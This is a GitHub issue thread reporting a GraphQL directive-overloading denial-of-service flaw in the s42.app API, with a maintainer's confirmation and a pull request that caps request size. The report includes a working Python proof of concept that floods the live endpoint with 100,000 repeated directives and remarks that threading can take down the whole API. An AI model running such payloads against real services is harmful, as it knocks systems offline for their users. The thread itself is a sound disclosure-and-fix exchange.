Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

fix: uncontrolled resource consumption #412

Closed
1 task done
nullswan opened this issue Mar 24, 2023 · 2 comments · Fixed by #423
Closed
1 task done

fix: uncontrolled resource consumption #412

nullswan opened this issue Mar 24, 2023 · 2 comments · Fixed by #423
Labels
aspect/infrastructure 🗄️ Concerns infrastructure and hosting system domain/obvious 🟩 Represents the "known knowns" issue. It's Obviously type/bug 🔥 Something isn't working

Comments

@nullswan
Copy link

nullswan commented Mar 24, 2023

Describe the bug

You can crash the API pod by overloading the graphql parser.

With a bit of threading you can take down the whole API:
image

To Reproduce

import requests
import time

url = 'https://s42.app/graphql'
max_size = int(1e5)
payload = {'query': 'query{\n__typename ' + ('@a'*max_size) + '\n}', 'variables': {}, 'operationName': None}

headers = {
    'Content-Type': 'application/json',
}

try:
    start = time.monotonic()
    response = requests.request('POST', url, headers=headers, json=payload)
    end = time.monotonic()
    print(response.text)
    print(f'Elapsed time: {end-start}')
except requests.exceptions.ConnectionError:
    print('Connection closed.')

Expected behavior

No response

Relevant log output

No response

Version of software

idk

Environment

Live (https://s42.app)

Additional context

No response

Code of Conduct

  • I agree to follow this project's Code of Conduct
@nullswan nullswan added state/triage 🚦 Has not been triaged & therefore, not ready for work type/bug 🔥 Something isn't working labels Mar 24, 2023
@42atomys 42atomys added domain/obvious 🟩 Represents the "known knowns" issue. It's Obviously aspect/infrastructure 🗄️ Concerns infrastructure and hosting system labels Mar 24, 2023
@42atomys
Copy link
Owner

Hello @c3b5aw, thanks for your reporting.

As well infrastructure autoscaling is not based on flow pressure and only on basic cpu / ram consumption.

I have check on the monitoring dashboard https://dashboards.s42.app

For collaborators and monitoring squad only (dashboard is not finished and stay private): https://dashboards.s42.app/d/KD4xvlJ4k/pod-dashboard?orgId=1&kiosk=tv&from=now-3h&to=now

The objective of the autoscaling is to be based on custom data reported directly by the api pod metrics.

Do you have a vision of that ? A desire to participe on the discussion ?

Best regards

@42atomys 42atomys added state/confirmed 💜 and removed state/triage 🚦 Has not been triaged & therefore, not ready for work labels Apr 5, 2023
@42atomys
Copy link
Owner

42atomys commented Apr 8, 2023

Confirmed on our end, the issue is caused by an OOMKilled error. This query is currently parsed but not filtered by the HTTP handler.

I will begin fixing it for the next release.

42atomys added a commit that referenced this issue Apr 9, 2023
…423)

**Relative Issues:** Resolve #412 

**Describe the pull request**
This pull request addresses a potential security vulnerability by
limiting the maximum content length accepted by the application. This
measure helps to prevent possible Denial of Service (DoS) attacks that
could be executed by sending excessively large payloads to the server.
By enforcing a reasonable content length limit, we can maintain the
application's stability and security while minimizing the risk of
disruption from malicious actors.

**Checklist**

- [x] I have linked the relative issue to this pull request
- [x] I have made the modifications or added tests related to my PR
- [x] I have added/updated the documentation for my RP
- [x] I put my PR in Ready for Review only when all the checklist is
checked

**Breaking changes ?**
no

**Additional context**
A Directive Overloading occurs when a user can send a query with many
consecutive directives and overload the parser of the app. Actually
`gqlgen` don't allow us to add a fixed limit. I will work on gqlgen
project to see if this can be implemented to respect the GraphQL 16
specifications about Directive Overloading.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
aspect/infrastructure 🗄️ Concerns infrastructure and hosting system domain/obvious 🟩 Represents the "known knowns" issue. It's Obviously type/bug 🔥 Something isn't working
Projects
None yet
Development

Successfully merging a pull request may close this issue.

2 participants